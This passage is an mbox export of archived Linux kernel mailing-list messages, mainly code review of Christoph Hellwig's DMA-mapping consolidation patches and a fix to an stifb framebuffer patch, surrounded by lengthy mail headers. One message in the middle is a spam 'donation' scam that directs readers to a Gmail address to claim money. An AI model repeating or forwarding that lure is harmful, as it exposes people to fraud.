> code for this implementation is most duplicated over the architectures,
> and the duplicated again in the swiotlb code, and then duplicated again
> for special cases like the x86 memory encryption DMA ops.
> 
> This series takes the existing very simple dma-noop dma mapping
> implementation, enhances it with all the x86 features and quirks, and
> creates a common set of architecture hooks for it and the swiotlb code.
> 
> It then switches a large number of architectures to this generic
> direct map implement and the new generic swiotlb dma_map ops.
> 
> Note that for now this only handles architectures that do cache coherent
> DMA, but a similar consolidation for non-coherent architectures is in the
> work for later merge windows.

Is it available in your dma-mapping.git or somewhere else?

Cheers
Vladimir

> 
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel@lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel
> 


From - Thu Nov 08 21:40:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 27/67] dma-direct: add dma address sanity checks
Date: Fri, 29 Dec 2017 15:12:25 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <CAMuHMdWg3PnTXezMCcr3oGf-83-cjvcj4wGiPk7j2pY1Tgzo9Q@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-28-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514556634 26241 195.159.176.226 (29 Dec 2017 14:10:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 14:10:34 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>,
        Parisc
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Dec 29 15:10:28 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eUvMh-0007y2-NZ
	for lnx-linux-alpha@m.gmane.org; Fri, 29 Dec 2017 15:10:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751106AbdL2OMa (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Fri, 29 Dec 2017 09:12:30 -0500
Original-Received: from mail-qt0-f196.google.com ([209.85.216.196]:36873 "EHLO
        mail-qt0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750820AbdL2OM2 (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Fri, 29 Dec 2017 09:12:28 -0500
Original-Received: by mail-qt0-f196.google.com with SMTP id f2so54345394qtj.4;
        Fri, 29 Dec 2017 06:12:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=CngtFWMFI86iVviEXbcdKS12rxLXJpnUsJdUNn4d4fY=;
        b=XQnFdxGErOrDh/3KFwv/XPRIM7J3z3aoW8EU5Mp0bwyGaK5oU6UA7k+/HeXnIMgOlK
         291ZzntnkxO4scZr3KkjYRSfMxxxRDEYcyv2LF1AYmaAKld/MPufIR70rfOQFZPdQRLV
         P+PJiK7RbTb9KWovxL6D0c0YAYVjeAIcaKMxVBtb9xwVze+NSUfk/CEqXQlKYqc36P/C
         fj1NKQ4r4KA3J+/6KZYyO6xAQavfbqFBxiGRGgk1MsVf8aV58DkPeXmM4EizSmstv3kO
         ewqEVNhC/VVCr1zcXk5fLG7W9cYXRduTJ/Pv6DIjo0R/rM9LW4iWm+6QLNGi7HY6yO6S
         XTvg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=CngtFWMFI86iVviEXbcdKS12rxLXJpnUsJdUNn4d4fY=;
        b=R5MfH2dDj6CGzgsBWmAnfcD5c89vX/+TrljA/5xoOgiAdpkqqnOGp/YctK46cJsyVE
         eTcR7ZKaI5mclIVR6nySxWn3OK4X3Xf8Djm25siNaofZlyS/yBpRLQaXDdQ9q3jXZ2wx
         iXuNxXGbha1TGrlhBrfYZQJGgr1KS3B7ps/9vXiJd7t1Njdni8yJzlxPFZOMV5o7T+/+
         YMNcxO82iRgR05h/y8iI6hHKV6OzuEfPXP8e6CXKV52AASeg3KG7dqM46we0dZ1R6tgd
         NGYD3zFF1OOmWANbCxqK10UAlF4uVDWTB1KmZR9NN8LseYqESTX0PG0FoqULm9BOgVHz
         /EqA==
X-Gm-Message-State: AKGB3mLS0k1fuK7J9TkeuKMTQgd7u7kXEX16fNoct+l275jJntq1hGmy
        EXXkzN7dFmzxJuJH1ZGJtsaIqVvHP78W+UfUJTbYACks
X-Google-Smtp-Source: ACJfBovbKDYHP2tEuLC+oXYEgrMRmyfC86fqPCDurJwWv062BWk2C1V0wjv4P1DNn2Sbjmn9z2J8WfxjjoUe379cy7w=
X-Received: by 10.200.3.65 with SMTP id w1mr48268845qtg.297.1514556747046;
 Fri, 29 Dec 2017 06:12:27 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Fri, 29 Dec 2017 06:12:25 -0800 (PST)
In-Reply-To: <20171229081911.2802-28-hch@lst.de>
X-Google-Sender-Auth: wcKVmMK08b2zo5wlCfuCt2n51Yw
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4614 gmane.linux.kernel.iommu:21947 gmane.linux.ports.mips.general:62993 gmane.linux.ports.ia64:28457 gmane.linux.ports.sh.devel:56104 gmane.linux.ports.sparc:27111 gmane.linux.kernel.cross-arch:40850 gmane.linux.ports.hexagon:1467 gmane.linux.kernel.arc:3235 gmane.linux.kernel.metag:1541 gmane.linux.ports.arm.kernel:622992 gmane.linux.ports.parisc:28132 gmane.linux.kernel:2654421 gmane.linux.ports.ppc64.devel:151564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4614>

Hi Christoph,

On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> Roughly based on the x86 pci-nommu implementation.
>
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Thanks for your patch!

> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -9,6 +9,24 @@
>  #include <linux/scatterlist.h>
>  #include <linux/pfn.h>
>
> +#define DIRECT_MAPPING_ERROR           0
> +
> +static bool
> +check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
> +               const char *caller)
> +{
> +       if (unlikely(dev && !dma_capable(dev, dma_addr, size))) {
> +               if (*dev->dma_mask >= DMA_BIT_MASK(32)) {
> +                       dev_err(dev,
> +                               "%s: overflow %llx+%zu of device mask %llx\n",

Please use "%pad" to format dma_addr_t ...

> +                               caller, (long long)dma_addr, size,

... and use &dma_addr.

> +                               (long long)*dev->dma_mask);

This cast is not needed, as u64 is unsigned long long in kernelspace on
all architectures.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.video.dri.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] video/fbdev/stifb: Delete an error message for a failed
 memory allocation in stifb_init_fb()
Date: Fri, 29 Dec 2017 19:05:17 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1680261.Msdj7gi9fB@amdc3058>
References: <7dcd32b6-9691-14a1-29cf-3a746ef5adfc@users.sourceforge.net>
        <CGME20171124213055epcas4p45c641222185056871b97f4e7bc235d2e@epcas4p4.samsung.com>
        <25624997.nONnEdNj0s@daneel.sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1514570609 3123 195.159.176.226 (29 Dec 2017 18:03:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 18:03:29 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
        dri-devel@lists.freedesktop.org, linux-fbdev@vger.kernel.org,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E. J. Bottomley" <jejb@parisc-linux.org>,
        LKML <linux-kernel@vger.kernel.org>,
        kernel-janitors@vger.kernel.org
To: SF Markus Elfring <elfring@users.sourceforge.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 29 19:03:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eUz05-0002cc-N7
	for glpp-linux-parisc@m.gmane.org; Fri, 29 Dec 2017 19:03:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751449AbdL2SFY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Dec 2017 13:05:24 -0500
Original-Received: from mailout4.samsung.com ([203.254.224.34]:39106 "EHLO
        mailout4.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751304AbdL2SFW (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Dec 2017 13:05:22 -0500
Original-Received: from epcas1p3.samsung.com (unknown [182.195.41.47])
        by mailout4.samsung.com (KnoxPortal) with ESMTP id 20171229180520epoutp04276f2cfd076aac6e03e59384cd880c2d~E1gvLD4Kh1402414024epoutp04P;
        Fri, 29 Dec 2017 18:05:20 +0000 (GMT)
DKIM-Filter: OpenDKIM Filter v2.11.0 mailout4.samsung.com 20171229180520epoutp04276f2cfd076aac6e03e59384cd880c2d~E1gvLD4Kh1402414024epoutp04P
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=samsung.com;
        s=mail20170921; t=1514570720;
        bh=IzEj/J+pLX16wS96hkRI75SU9seJbA7lz9+kpxg1XJs=;
        h=From:To:Cc:Subject:Date:In-reply-to:References:From;
        b=Gbt8pbXJ0egIyzlvArq9lNyg8ZY47kV31i94VuF+5o1W6iuEPIZUA7tHcGlIMtDRv
         4+5GUhEgxHSnfRPyy3EdSZjkOI6LQN7cd2ah+FEBab+K03Jj6tN06R/olejpi6fVea
         1pNe0Qi5W8SIbIo74GfNsVNRd+qc8zqOd1t8ECW8=
Original-Received: from epsmges1p5.samsung.com (unknown [182.195.42.57]) by
        epcas1p4.samsung.com (KnoxPortal) with ESMTP id
        20171229180520epcas1p4391e94e3787ddda9a0a52a7856beb10f~E1gu3WVzf2864328643epcas1p4k;
        Fri, 29 Dec 2017 18:05:20 +0000 (GMT)
Original-Received: from epcas1p3.samsung.com ( [182.195.41.47]) by
        epsmges1p5.samsung.com (Symantec Messaging Gateway) with SMTP id
        DE.3B.04317.0E3864A5; Sat, 30 Dec 2017 03:05:20 +0900 (KST)
Original-Received: from epsmgms2p1new.samsung.com (unknown [182.195.42.142]) by
        epcas1p4.samsung.com (KnoxPortal) with ESMTP id
        20171229180520epcas1p4e6de0ccc24ab20cd4262903f64d56e7f~E1gufNVNQ2884628846epcas1p4V;
        Fri, 29 Dec 2017 18:05:20 +0000 (GMT)
X-AuditID: b6c32a39-e27ff700000010dd-50-5a4683e0a3f8
Original-Received: from epmmp1.local.host ( [203.254.227.16]) by
        epsmgms2p1new.samsung.com (Symantec Messaging Gateway) with SMTP id
        54.13.04148.FD3864A5; Sat, 30 Dec 2017 03:05:20 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102]) by mmp1.samsung.com
        (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5
        2014)) with ESMTPA id <0P1Q00HW9I8UM340@mmp1.samsung.com>; Sat, 30 Dec 2017
        03:05:19 +0900 (KST)
In-reply-to: <25624997.nONnEdNj0s@daneel.sf-tec.de>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFmpnleLIzCtJLcpLzFFi42LZdlhTX/dBs1uUwYrlkhb3P91mtLjy9T2b
        xZoXq9gtzncuZ7a4v24Vq8XWW9IWJ/o+sFpc3jWHzeLRqQtMDpweHz7GedzvPs7kcWHRb1aP
        I3+tPZpOtbN6fN4kF8AWxWWTkpqTWZZapG+XwJUx/+cvloLPnBXbFqxnbWD8zN7FyMkhIWAi
        8WzDPaYuRi4OIYEdjBKTb09nh3C+M0q8WrUYrurWi+8sEIndjBLL302CqvrKKLF+yn5GkCo2
        ASuJie2rgGwODhEBU4k/J0JAapgFFjJJvG7qZwapERYoljg2axYTiM0ioCpxeM5aJpB6XgFN
        iRebykDCogJeElv2tYOVcAoYSyy//gBsPK+AoMSPyfdYQGxmAXmJffunskLYOhJnj61jBNkl
        IXCbTeLOpQssEFe7SDR3tUHZwhKvjm9hB9klISAtcemoLUR4OqPE9t8SEL2bGSVW7Z4A9bG1
        xOHjF6EW8Em8+9rDCtHLK9HRJgRR4iHxdfUzqHJHiRV/njBDwuQoo8T/H4tYJjDKzkJy9ywk
        d89CcvcCRuZVjGKpBcW56anFhgWmesWJucWleel6yfm5mxjByUPLcgfjsXM+hxgFOBiVeHg5
        0l2jhFgTy4orcw8xSnAwK4nwvm1wixLiTUmsrEotyo8vKs1JLT7EKM3BoiTOGxDgEiUkkJ5Y
        kpqdmlqQWgSTZeLglGpgTJn0XWKx7b3Vp7nf8fRol1e9OVZre7IsfPq05tUu+5cc6f7x 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrALMWRmVeSWpSXmKPExsVy+t9jAd0HzW5RBnPPMFnc/3Sb0eLK1/ds
        FmterGK3ON+5nNni/rpVrBZbb0lbnOj7wGpxedccNotHpy4wOXB6fPgY53G/+ziTx4VFv1k9
        jvy19mg61c7q8XmTXABbFJdNSmpOZllqkb5dAlfG/J+/WAo+c1ZsW7CetYHxM3sXIyeHhICJ
        xK0X31m6GLk4hAR2MkrcX9LPDuF8ZZTY96qHDaSKTcBKYmL7KsYuRg4OEQFTiT8nQkBqmAUW
        MkkcbGxmBKkRFiiWODZrFhOIzSKgKnF4zlomkHpeAU2JF5vKQMKiAl4SW/a1g5VwChhLLL/+
        gBFi11FGian/u8ASvAKCEj8m32MBsZkF5CX27Z/KCmFrSazfeZxpAiP/LCRls5CUzUJStoCR
        eRWjZGpBcW56brFRgWFearlecWJucWleul5yfu4mRmC4bzus1beD8f6S+EOMAhyMSjy8HOmu
        UUKsiWXFlbmHGCU4mJVEeN82uEUJ8aYkVlalFuXHF5XmpBYfYpTmYFES572ddyxSSCA9sSQ1
        OzW1ILUIJsvEwSnVwLiQ9fI0td5SFpY/G7W+Rt3ZEcb9w/bjrdjFW5ItjQ0Zm+W/uQv+rpt2
        Kj5EpX/1A5dDk/sM7u1eZdum4mUU3316Shp/y4WD39cpyGq0/jrkrt958elsgaOzX819cGtm
        3d3cpkc3Zu+YwNEf+pX5SOiE57yqymFzVlSlcx57U122PImra5fb3h4lluKMREMt5qLi 
X-CMS-MailID: 20171229180520epcas1p4e6de0ccc24ab20cd4262903f64d56e7f
X-Msg-Generator: CA
CMS-TYPE: 101P
X-CMS-RootMailID: 20171124213055epcas4p45c641222185056871b97f4e7bc235d2e
X-RootMTR: 20171124213055epcas4p45c641222185056871b97f4e7bc235d2e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28133 gmane.comp.video.dri.devel:207884 gmane.linux.kernel:2654507 gmane.linux.kernel.janitors:50378
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28133>

On Friday, November 24, 2017 10:30:34 PM Rolf Eike Beer wrote:
> Markus Elfring wrote:
> > From: Markus Elfring <elfring@users.sourceforge.net>
> > Date: Fri, 24 Nov 2017 22:22:06 +0100
> > 
> > Omit an extra message for a memory allocation failure in this function.
> > 
> > This issue was detected by using the Coccinelle software.
> > 
> > Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
> > ---
> >  drivers/video/fbdev/stifb.c | 4 +---
> >  1 file changed, 1 insertion(+), 3 deletions(-)
> > 
> > diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
> > index 6ded5c198998..fe217a2f7d21 100644
> > --- a/drivers/video/fbdev/stifb.c
> > +++ b/drivers/video/fbdev/stifb.c
> > @@ -1126,10 +1126,8 @@ static int __init stifb_init_fb(struct sti_struct
> > *sti, int bpp_pref) int bpp, xres, yres;
> > 
> >  	fb = kzalloc(sizeof(*fb), GFP_ATOMIC);
> > -	if (!fb) {
> > -		printk(KERN_ERR "stifb: Could not allocate stifb structure\n");
> > +	if (!fb)
> >  		return -ENODEV;
> > -	}
> > 
> >  	info = &fb->info;
> 
> This should be -ENOMEM.

Markus, please fix this issue first (before doing cleanups).

Best regards,
--
Bartlomiej Zolnierkiewicz
Samsung R&D Institute Poland
Samsung Electronics

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Loretta Robles <Loretta.Robles@hci.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: ATTENTION!!!
Date: Sat, 30 Dec 2017 00:28:56 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <35D4F79A8B8138489F38DE5CF6200454E572AB2F__3288.04669338769$1514594398$gmane$org@HCI-EX-MB2.hci.utah.edu>
References: <35D4F79A8B8138489F38DE5CF6200454E570015C@HCI-EX-MB2.hci.utah.edu>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1514594398 13655 195.159.176.226 (30 Dec 2017 00:39:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Dec 2017 00:39:58 +0000 (UTC)
To: Loretta Robles <Loretta.Robles@hci.utah.edu>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Dec 30 01:39:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eV5Bi-0002zf-AI
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Dec 2017 01:39:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751001AbdL3AlO convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Dec 2017 19:41:14 -0500
Original-Received: from ipo7.cc.utah.edu ([155.97.144.42]:56546 "EHLO ipo7.cc.utah.edu"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750709AbdL3AlD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Dec 2017 19:41:03 -0500
X-Greylist: delayed 708 seconds by postgrey-1.27 at vger.kernel.org; Fri, 29 Dec 2017 19:41:00 EST
X-IronPort-AV: E=Sophos;i="5.45,478,1508824800"; 
   d="scan'208";a="599509115"
Original-Received: from isoep2.iso.utah.edu (HELO hci-ex-hub.hci.utah.edu) ([172.26.129.8])
  by ipo7smtp.cc.utah.edu with ESMTP; 29 Dec 2017 17:29:01 -0700
Original-Received: from HCI-EX-MB2.hci.utah.edu ([fe80::dd2d:d6bc:1bad:6d3]) by
 HCI-EX-HUB2.hci.utah.edu ([fe80::7587:78e0:4537:d485%20]) with mapi id
 14.03.0361.001; Fri, 29 Dec 2017 17:28:58 -0700
Thread-Topic: ATTENTION!!!
Thread-Index: AdOA39jPeP+A8HSFQem9hoFFnQ/W2wAJTccT
In-Reply-To: <35D4F79A8B8138489F38DE5CF6200454E570015C@HCI-EX-MB2.hci.utah.edu>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [68.168.122.229]
X-CFilter-Loop: Reflected
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28134>


________________________________
From: Loretta Robles
Sent: Friday, December 29, 2017 1:01 PM
To: Loretta Robles
Subject: ATTENTION!!!

You have been randomly selected for a donation. Contact soriz4040@gmail.com for claims.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: consolidate direct dma mapping and swiotlb support
Date: Sat, 30 Dec 2017 11:56:35 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20171230105635.GA23696@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
	<23fee3bb-61ce-1735-b264-3acc0109c858@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514631289 30110 195.159.176.226 (30 Dec 2017 10:54:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Dec 2017 10:54:49 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Vladimir Murzin <vladimir.murzin-5wv7dgnIgG8@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sat Dec 30 11:54:43 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eVEml-0007DZ-5a
	for glki-iommu@m.gmane.org; Sat, 30 Dec 2017 11:54:39 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1F412414;
	Sat, 30 Dec 2017 10:56:41 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id BFD11412
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 30 Dec 2017 10:56:39 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 783ABE0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sat, 30 Dec 2017 10:56:38 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id D9516DE8A2; Sat, 30 Dec 2017 11:56:35 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <23fee3bb-61ce-1735-b264-3acc0109c858-5wv7dgnIgG8@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
